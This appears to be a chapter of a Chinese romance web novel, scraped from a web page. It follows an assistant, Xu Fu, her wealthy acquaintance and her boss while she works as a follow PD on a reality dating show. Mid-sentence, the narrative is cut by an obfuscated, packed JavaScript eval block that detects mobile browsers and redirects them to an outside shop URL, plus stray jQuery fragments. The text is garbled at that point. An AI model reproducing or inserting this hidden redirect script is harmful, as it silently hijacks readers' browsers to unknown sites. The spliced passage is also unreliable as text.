“陆总,您流血了!”
徐复轻声惊呼,指尖下意识蜷缩,眉梢间跃起担忧,隐隐藏着无意间得罪金主的惶恐。
徐复迅速松开手,用手肘轻轻杵了下旁边还在看热闹的陈素素,并及时打断她兴致勃勃拿出手机想要拍照留念的举动。
徐复抓住陈素素的胳膊着急问:“你家有医药箱吗?”
陆谦弈缓缓收回手,侧过身子,给一直在憋笑的陈素素让开路。他迟疑地伸出手指,点了下嘴角,看着指腹上的血迹,竟然露出难得的茫然神色。
舌尖抵到口腔嫩肉,抵到豁开的一道口子,尝到铁锈味,迟来的涩痛顺着血丝缓缓流了下来。
“没事。”
陆谦弈很快地拧了下眉毛,垂下眼睫,眼底划过一丝几不可察的烦躁,随即再抬眼,已然挂上温和笑容。
“怎么能没事呢?”
徐复满不赞同,满脸愁容,掏出手机开了手电筒,手腕抬起,光亮靠到陆谦弈嘴边,动作自然行云流水。
“实在太对不住了,我帮你看看吧。”
陆谦弈下意识要拒绝,口腔里的疼痛骤然撕扯住他的神经,只是怔愣了一会儿的功夫,便收获了徐复理所当然的催促。
“张嘴啊。”
鬼使神差的,陆谦弈迟疑着张开了嘴。
徐复接过陈素素递来的医药箱,小心翼翼拿着棉签,收着力气将血丝蘸尽。
“别乱动。”
热气喷洒在脖颈,陆谦弈弯着的腰僵在原地。
徐复将东西重新归置好,低头扣上箱子。
“最好煮一个鸡蛋,在脸上滚一下能消肿,会好得快一些。”
她起身看向陈素素,挑眉示意,然而陈素素将眼神挪到陆谦弈身上,直到陆谦弈点了点头,这才指了指门外厨房的方向。
徐复愣了一下,随后抬脚走了出去。
她的意思是让哥妹俩自己煮,她都要准备回去了,不过转念一想……讨好一下金主倒也无伤大雅。
看着徐复的背影,陈素素费力地踮起脚,将胳膊垫在陆谦弈的肩膀上,冲着陆谦弈啧啧感叹。
“是不是觉得我家姐姐特热情,哈,那你可真是托了我的福,我家姐姐把你当成了自己人,top级别的饭撒也是让你享受到了,就是如此宠粉。”
听着满口似曾相识的话术,陆谦弈面无表情捏住陈素素的手,嫌弃抛开。
“以后追星资金砍半。”
陈素素吃瘪,灰溜溜地去了厨房。
-
等到水稍微放温了一些,徐复才捞出锅里滚圆的鸡蛋,递到陈素素手里。
“你们兄妹俩感情很好。你很听你哥的。”
“我哥不让我在家开火,因为会有很浓的油烟味。”
陈素素边走边吐槽,冲着眼前的陆谦弈坏心眼地笑了笑。
“你在就不一样了,你是客人,我哥会给客人面子的。”
陆谦弈随即扬声道:“请便。”
陈素素闻言嘿嘿一笑,露出一抹计划得逞的微笑,变戏法似得拎起了一包拉面,凑到徐复身边。
“我想再加一片芝士。”
徐复瞥见桌上的一大袋拉面,转身道:“陆总,您也来一个吧。”
对金主还是要客气一些。
“不用管他,他不吃垃圾食品,他爱吃白人饭。”
陈素素热切地瞧着锅里翻腾的热气。
徐复闻言也没再多强求。
陆谦弈喉咙一梗,继续用鸡蛋慢吞吞地滚着脸,目光在蔓延到岛台上的雾气停留了片刻。
餐桌上香气朦胧,陈素素一人吃得喷香无比,剩下两人大眼瞪小眼,徐复刚想说些告退的话,手机铃声突然不甘寂寞地响了起来。
徐复的目光扫视过屏幕上的一串乱码,颔首示意,起身走向阳台。
她的目光看向窗外,看似专注,实则仔细一瞧,眼神压根没有聚焦。
“怎么了,是今天有突发通告吗?”
“没有。”
“没有通告就不能给你打电话了?”
“……当然可以。”
沉默蔓延,久到徐复以为苏回舟是不是已经挂断了电话。
良久,苏回舟开口:“……刚刚为什么不接电话。”
刚刚?
徐复突然想到陆谦弈将手机递给自己时的未接来电。
“抱歉老板,刚刚……我有一些私人事情要处理。”
餐桌那边不时传来兄妹俩交谈的声音。
苏回舟敏锐地捕捉到对面隐约有男人的声音,脸色顿时难看起来,语气生硬。
“你跟谁在一起?”
“苏老板不会连员工的私下生活都要管吧。”
见苏回舟绕来绕去不说正事,徐复也没了好脾气。
“你……”苏回舟语塞,随即语气弱了下来,“当然,你是我的私人助理。”
苏回舟的声音突然变得叽里咕噜的,像水缸里的金鱼在吐着柔柔的泡泡。
徐复刚想心软,就被苏回舟接下来的话打了回去。
“确实有工作安排,回来说,跟你对接。”
“什么老板,休息时间还要安排工作……”
徐复拎起陈素素递给自己的外套,并再三表示外套落在酒吧没关系不用赔偿。
“是啊,还骂人呢。”
徐复笑着摸了摸陈素素的脑袋。
“所以我们要努力工作,早点给我赎身啊。”
-
山脚下的度假村,大型旅行分手恋综《春日不晚》的拍摄场现场。
节目组举行了简单的开机仪式,工作人员挨个拿了红包,便四散开来,紧锣密鼓地做着开拍前的最后准备。
山里潮湿又太冷,每个人都裹着厚厚的棉袄,黑漆漆路过。
于是就显得沈书明一身橘红色的座山雕外套便尤其显眼。
沈书明眯起眼睛,努力寻找着苏回舟私密收藏夹里那张照片上的脸,只是还没找到就被人锤了后背。
苏回舟冷着一张脸,悄无声息站在他身边。
与此同时,一名身材高挑的女性注意到这边,从监视器旁走过来,手里还握着对讲机。
沈书明了然,热情地冲来人挥了挥手,主动将手伸了出去,瞥见苏回舟刘海下死盯着两人双手交握的部分,嘴边的笑容更深。
徐复笑道:“沈经纪人,多谢您赏识。”
沈书明纳闷:“赏识,赏识什么?”说罢迟疑地回头。
苏回舟掀起眼皮,露出渗人的下三白,直勾勾盯着他。
沈书明立正站好:“……哦,哦哦——不客气,正好节目组缺一个随行pd,我跟导演又说得上话。”
“哈哈。”
“肥水不流外人田啊,你看这事儿,整得多好。”
等到徐复被叫去对脚本,沈书明才咬牙低声说:“我这次又干什么了?”
而后像是才注意道苏回舟的打扮,满脸惊奇。
“呦呦呦,今天穿得这么老实,你的破洞裤呢?”
苏回舟言简意赅:“她不让。”
这是在炫耀吧,沈书明一言难尽,绝对是的吧。
沈书明看向不远处和副导演对流程的徐复,徐复回以他一个灿烂的微笑。
“人家看起来还挺开心的,某人的计划看起来又要落空了。”
徐复正翻着手里的节目脚本,对节目组的环节设置进行加强记忆,目光不经意落在一间上锁的房间上。
“这是什么?”
副导演瞥了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165691|196706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼:“哦,嘉宾们准备的,前任留下的旧物,已经提前放好了。”
-
第二天是个难得的大晴天,山里的天气总是阴晴不定,摄影师正抢着天光,透过绿莹莹的叶子拍太阳,多留存些空镜素材。
度假村的天台放置着一张大方桌,道具组正摆着红酒,灯光悉数打开,做着最后的准备。
徐复席地而坐,迅速接起一通扰人的电话,对面立马跟点燃了的炮仗一样,在蓝牙耳机里炸开了锅。
“你前男友有病吧?让你跟着上恋综?我呸!狗东西,在他手底下受什么委屈,徐复我真求你了,来跟我干行不行啊……”
徐复用手掌捂住嘴唇,将声音按灭在掌心。
“行行行,我先不跟你说了,马上开始了,回头再联系。”
在北风呼啸中,《春日不晚》正式打板。
【我们终其一生,都在寻找一份被爱的证据……】
徐复紧了紧耳麦,紧盯着苏回舟的机位。
【……在这趟旅程中,如果有让你感到被治愈的瞬间,各位可随时按下心动按钮,当按下的人数超过一半时,这一趟治愈之旅将会变成心动之旅……】
followpd的工作不难干,全程focus一位嘉宾,只是需要仔细仔细再仔细。徐复大学期间跑过不少综艺节目组,对工作流程了如指掌。
只要能多一份工资,便是极好的。
面子哪有那么重要。
虚无缥缈,身外之物。
耳边导演拿着大喇叭念的介绍词逐渐飘远。
徐复抿了抿嘴唇。
三男三女,陆陆续续到齐。
“好冷啊,你说是不是?”
一身着红裙的女人直勾勾看着苏回舟的方向,巧笑嫣然,大波浪落下泛着光泽。
她穿得单薄,柔柔地搓着双手。
苏回舟漫不经心地点头,对此表示赞同,然后没了动作。
倒是一旁的金融男十分有绅士风度地将外套脱下,搭在女士的肩上。
女人扶着肩膀笑了笑,看向金融男,眼睛闪着亮。
徐复对这一幕浑然不知,因为眼下她还有更棘手的事情要面对。
她的身旁坐着一名年轻的场记,看起来像是实习生,徐复现在正谢天谢地,幸亏自己刚刚多看了一眼场记板。
顾忌着现场收音,徐复掏出手机劈里啪啦打出一行字,戳了戳正奋笔疾书的小年轻的肩膀,在来人露出疑惑神色之前,将手机屏幕怼了上去。
【为什么嘉宾喝了一口水要写三遍!!!没有人教过你怎么做场记吗???】
没有语气,于是徐复巧用标点符号表达了自己此刻的心情。
似乎是被标点符号吓到,小年轻委屈得摇了摇头,一时间流露出无措。
徐复沉默地叹了口气,而后任命般开始敲敲打打,小年轻不由得将脑袋凑了过去。
桌上的几人进行了简单地寒暄完,开始讲述自己的感情经历。
苏回舟对此兴致缺缺,端起杯子喝水的功夫,斜着眼瞟过对面,正好看见徐复和身边的年轻人凑在一起的一幕。
离得好近,几乎要发丝缠绕着发丝。
苏回舟下意识顶了顶腮帮子,随即意识到黑洞洞的摄像头,很快地撑起手肘,掌心抵在高耸的鼻梁上,遮住下半张脸的表情。
苏回舟一直不吭声,没有总导演的指示,徐复也没什么特别需要关注的,于是善心大发,努力在黑暗中看清实习生之前在场景板上记的内容,试图进行一些无力的修改。
“徐复,徐复。”耳麦里传来导演压低的声音,语气急切,“给苏回舟举个牌子,让他说点话。说什么都行。”
直到看见徐复手上举的牌子,苏回舟终于开了口。